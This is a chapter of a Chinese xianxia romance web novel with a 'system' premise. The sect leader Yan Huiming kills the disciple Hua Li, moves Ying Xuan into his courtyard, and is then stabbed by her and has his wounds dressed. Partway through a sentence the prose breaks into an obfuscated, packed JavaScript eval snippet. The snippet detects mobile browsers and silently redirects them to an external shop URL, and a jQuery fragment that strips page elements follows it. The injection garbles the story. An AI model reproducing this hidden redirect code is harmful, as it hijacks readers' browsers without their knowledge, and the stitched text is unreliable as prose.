只见幻象里,华厉执剑劈风斩木,把竹林舞得哗哗作响,数千片韧劲的竹叶如水流般腾空波动,起伏着卷起一片杀意腾腾的绿浪。
华厉嘴中念经似说道:“如今我重塑经脉,突破势在必得,你们给我死、给我死!”
刹那间,那块上空的天地剧烈地抖动起来,云层密密麻麻地聚集,乌压压地往下沉。
华厉见状不对,高举双手压制黑气,但那黑气反如游丝慢慢渗进了华厉的脑中、面部和颈部,不到须臾,他的头颈就变得乌黑,慢慢的,连五官都变得模糊。
直至一声鹤鸣,一股强劲的气波急速向此处扩张。
“轰”的一声,如威力无边的炮弹,把周遭的黑气都炸得无影,清儒的身形落在华厉面前,此时华厉已走火入魔,形同丧尸。
晏晦明站在他眼前,他也认不得了,竟张牙舞爪地往他身上扑,他的五指长出鹰爪般的长甲,一把勾住他胸口,晏晦明侧身一躲,他便勾出了一条绿色发带。
“修仙者讲究戒骄戒躁,你却欲望横生,躁动不安。”晏晦明垂目,剑柄在掌心现形。
说着,像是早知幻象会被放映,他转身,猝不及防直面镜头,掌中的剑柄方向轻转,肆意往华厉那侧一推,剑锋便听话地停在华厉的胸膛一毫之外。
他吓得目眦欲裂,僵僵地定在原处,一瞬就倒地没了气息。
晏晦明唇角挂着不易觉察的浅笑,“我便替宗门除害。”
继而,他像是闻到了什么臭气,朝外扇手,数不清的竹叶被子似覆在华厉的尸体上,包括,那条从华厉手里掉出,明明已落到他脚边的发带。
几个弟子低声窃语。
“竟真是掌门杀了华厉师兄?怎么会?”
“掌门的剑都没碰到他,他明明是被吓死了!”
华厉作为月望收的第一个弟子,向来恃宠而骄,他的那些行为月望并非不知,只是睁一只眼闭一只眼,掌门换位在即时,大家都不敢擅自站队。
如今,晏晦明借此由头了结了华厉,不易于断月望一臂。
其他人开始改口,“华厉师兄借着自己功力高强,没少欺负同门,差点堕入魔道,的确死不足惜。”
月望愤愤地隐去幻象,火急攻心地吐出一口血,高喊:“好啊,晏晦明!你真是个杀伐果断的好掌门啊。”
他这口血吐得又急又高,差点溅到应璇身上,她下意识往后躲,谁知晏晦明这个老深沉,早就预料到似躲到她身后了。
应璇身上沾了血星子,咬唇不爽,抬脚踩到晏晦明脚背上,故意碾压,往后低声道:“驱狼吞虎,掌门好大的胃口。”
说着,她背脊攀上一股凉意,反胃想吐。
【红灯警告!】系统大叫,“检测到攻略对象的好感值濒临红线!宿主,你将受到反噬。”
晏晦明舒展的眉目蹙紧,那股懒懒的轻松劲登时泯灭无余,他掰住应璇肩头,扫视她脸上的表情。
不高兴?
他从没见过这样的神色,明明每个五官单拎出来都漂亮得要命,但此刻却像一张湿水后晒干,皱巴巴的纸,看不出一点畅快淋漓的胜利感。
应璇推开他的手,“既然跟我没什么关系,我可以走了吧?”
清清楚楚地看着自己是怎么被人利用,应璇现在就想一刀剜了晏晦明。
月望拭去唇角的血,咬牙切齿道:“晏晦明,你这般行事,凉了长老们的心,可不要怪我日后不留情面。”
说罢,两人都作势要走。
“慢着,应璇半夜被伤之事还未解决,大家不想看看,这歹人长什么样子吗?”
晏晦明张手,一颗幻象球在手心缓慢打转,数个幻象在球体里闪现。
其中有一帧,便是一黑衣人于屋外夜袭应璇的场景,那道黑影投射在众人面前,正要放大看清到底是谁鬼鬼祟祟在门外时,月望便深吸着气打断了晏晦明的施法。
他长扬一口气,语气温和下来,“阿晏,应璇出现的时机你我应当都清楚多特殊,大家多长个心眼,说到底不过是为了宗门信誉和天下太平。以后这样的事不会再发生。”
柳百词凑在人群里挤到应璇前边,“应璇师妹,那你昨夜伤势如何?”
不等回答,他又殷切地转头问:“冷翘师姐,你就住在师妹旁边,你呢?可有伤着?”
冷翘不应,他自顾道:“要不你们搬到我的院子去住?我那又大又宽敞,还有我爹让人打造的各类机关,保证歹人有来无回。”
她们没点头,晏晦明却是认真考虑起来,“冷翘和应璇住的院子太偏僻,常年冷寂幽凉,出了什么事不能响应。冷翘,你搬去柳百词院中,监督他勤加练习功法,应璇,你住到我院中。”
这安排正中应璇下怀,她正愁离他太远不好杀他,心情大好。
反倒是冷翘,僵着脸甩手离开,“我不同意。”
“师姐,你就这么讨厌我吗?”柳百词哭丧着脸追上去,“师姐——”
一群人不欢而散,应璇抱臂跟在晏晦明身后,一言不发。
晏晦明的住处在五岭峰山腰,被隐去了踪迹,只有循着他的气息才能找到大致位置,得等他同意才能现出大门。
应璇答应住进来,自然要掌握进院子的办法。
“伸手。”晏晦明在她手心花了一个符,“以后你感知到我的气息,把掌心对准东方偏二十寸的位置,就能打开大门。”
“你的气息?”应璇闭上眼,仔细感受他身上的能量。
晏晦明这个位阶,他若隐去气息,一般人并不能感知到。
应璇虽有天赋,但刚来到这个世界,还不太会用,就像杀人时难以掌控力道,她的感知波动得太过于侵略性,像一只麋鹿,在四处乱奔乱撞,把晏晦明留给她的那点气息都撞得支离破碎了。
“不是这样。”晏晦明打开大门,“罢了,日后我再慢慢教你。”
晏晦明的院子里只有一个半弧形长廊,连接两间房,庭院中一个长满荷花的观景池,不少白色绒状的灵球在绿叶上跳动,见晏晦明进来,蹦蹦跳跳地落到石子路上,咬住他的衣摆。
它们似对应璇感到陌生,好奇地凑成一个圆环,围着应璇叽叽喳喳地转圈。
应璇本听不懂它们的语言,晏晦明瞧她发愣,指尖一抬,耳朵里好似有股灵流进入,打通了中枢神经,一时间声音全涌了进来。
“她是师娘吗?”
“我在师父的药池里见过她。”
“他们还会搂搂抱抱呢。”
越是知道晏晦明的心思,应璇就越想和在这些事上划清界限,她急忙捂住耳朵,“你干嘛让我听见他们的声音?你、你还不反驳他们?”
晏晦明扯唇,“它们还小,不懂事。”
“那你呢?”
应璇很想点明他,要攻略一个人不是靠在没确定关系之前就不否认一些称呼来推进的,这样只会让她觉得很轻浮。
更何况,晏晦明的攻略系统里,一定也有一个让他不容拒绝的成功奖励,“你当时跟柴夫说我是你夫人。”
“不然,你想让我称呼你什么?”晏晦明走近她,“心上人?”
应璇撇开脸,退一步。
他又近,“意中人?”
应璇退到池边,晏晦明压着她的步子俯下身来,“或是嫂子?弟妹?……”
“你差不多得了啊。”应璇是发现了,这人就是套着清心寡欲壳子的黑心人,浑得很。
【检测到攻略对象心率上升,好感+10,当前好感值-230。】系统:“太好了宿主,你终于触发关键词了。我即将为你解锁各种角色扮演套路话本,以供宿主和攻略对象赏玩。”
应璇捂住心口,她是被气无语了,不是喜欢这种东西啊?
听了系统的谗言,晏晦明看她的眼神逐渐耐人寻味。
应璇闷声闷气往他胸口推了一掌,不料,下一秒,晏晦明眉心一拧,血气翻涌得太过突兀,血液钻升到口腔,尽管他已经捂得够及时,血点子再一次溅到了应璇的身上。
血的味道本身是不好闻的,但不知为何,晏晦明的血散发在空气里,有一股迷魂的香味,让人躁动。应璇咬紧牙关,脑海里控制不住的声音在循环,“趁现在,杀了他,别留情。”
眼前的世界,除了晏晦明是清晰的,其他都麻花似扭在一起,左右摇动。
“应璇?”
应璇觉得怎么也打不起精神,藏在袖口的刀何时滑在手心都没
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525404|203465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意识到,嘴巴呜哝说了什么听不真切,落在晏晦明耳边却异常清晰,“晏晦明,拿我当诱饵很好玩吗?你想死吗?”
晏晦明运气压制住体内的气息,“什么?你是在为今天的事情生气?”
“我很不高兴。”
应璇目不斜视,眼中的光却是散的。
晏晦明忙扯住她手腕把她的脉象,弦数紧绷,却是愠怒之象,他想安抚,脱口而出变成,“我——情有可原。”
“那你就受死吧——”应璇稍稍清醒时,发现自己手中的刀已经刺入晏晦明心口,刀尖破开皮肉,血一层层渗到外层。
系统在这时冒出来,“恭喜主人,再用力一点,你就可以直接通关啦!”
应璇想过自己成为天下霸主无人能敌之后把晏晦明收归麾下,当她的奴才伺候自己的场面,但没想过这么快就有机会可以要了他的命。
在更进一步和退一步之间,她迷迷糊糊抬眼和晏晦明对视,她发觉晏晦明竟没有制止,而是用一种关怀的眼神看着她。
莫名的心虚让她两臂发软,刀柄一送,朝下,血顺着流到她的手腕。
温热的血液如流动的水在她的皮肤上滑动,在流向她内臂更敏感的地方时,刀滑落在地,叮当的脆响,彻底把应璇敲醒。
晏晦明没管被她刺伤的心口,反问:“解气了?”
应璇不明白,为什么被他的血沾染过后,会面部发烫,害羞了似,让人很难为情。
她没打算抱歉,晏晦明却诚心诚意地先开口:“你伤华厉,并不在我意料之内,我正巧需要巩固宗门地位,今天不过是顺水推舟。我曾经也跟你一样,不懂得如何控制自己的灵力,作为报答,我会教你。”
说罢,他将应璇瞬移到屋内,解开袍子,一层一层往外脱,墨色的外衫软塌塌地堆叠在脚边,紧接着,青色、白色……
这种报答吗?
应璇飘忽着眼东看西看,两只耳朵登时烫得厉害,晏晦明是长得人模狗样的,但他不是她喜欢的类型。
为了攻略她,还是真是兵行险招,连自己的清白都可以奉上。
饭可以乱吃,男人不能乱睡。
万一睡出感情,他追着要入赘……
纠结时,余光间,晏晦明裸着上身往她这迈,她难得扭捏地转开回避,“我现在没兴趣,我身上都是你们的血,脏死了。”
她迈步要走,手腕被晏晦明拉住。
这么锲而不舍?
应璇还没吃过猪肉,她飞快建设了一下心理,“哎,起码先洗个澡。”
“不急。”晏晦明拉着她往床边走,应璇神不知鬼不觉跟上去,见他就势坐下,心口的伤还在往外渗血。
想浴血奋战啊?
应璇觉得他这人心思不仅在对付宗门上弯弯绕绕,其他方面也挺花的。
她想象了会血淋淋的香艳场面,打了个哆嗦,“还是,算了吧。”
“嗯?”晏晦明对她的反应发笑,“在我有命活着教你之前,你难道不应该帮我处理一下伤口?”
处理,伤口?
应璇想撞墙,“只是处理伤口?”
晏晦明像是回味到什么,“你还想做点什么?”
“没什么,只这样,那最好。”应璇回身正视他,他上身除了她捅的那个刀口外,还有几处类似硫酸腐蚀的小伤口,“这些是?”
“过镜门都会留下这样的伤口,越是心无欲念的人伤口越少越小。”晏晦明递给她一瓶药,“撒上这些粉末次日就能痊愈。”
应璇不禁数他身上的伤口,“那你才这么几个?”
晏晦明顺着她问:“你觉得我该得有多少?”
应璇不假思索,“浑身上下。”
晏晦明笑而不语,盯着她看了半晌。
应璇被他看得坐立难安,“你……你看什么?”
他视线顺着自己的腰腹往下放,起伏的呼吸带动肌肉线条走向裤头更为褶皱的地方,才不疾不徐地吐字,“应璇,你对我居心不纯啊。”
应璇倒药的手一怔,硫磺色的药粉撒在她指尖。
晏晦明尽收眼底,把住她的手,往自己伤口处压,“别浪费了。”浓密眼睫下的瞳孔遮不住兴奋,“继续。”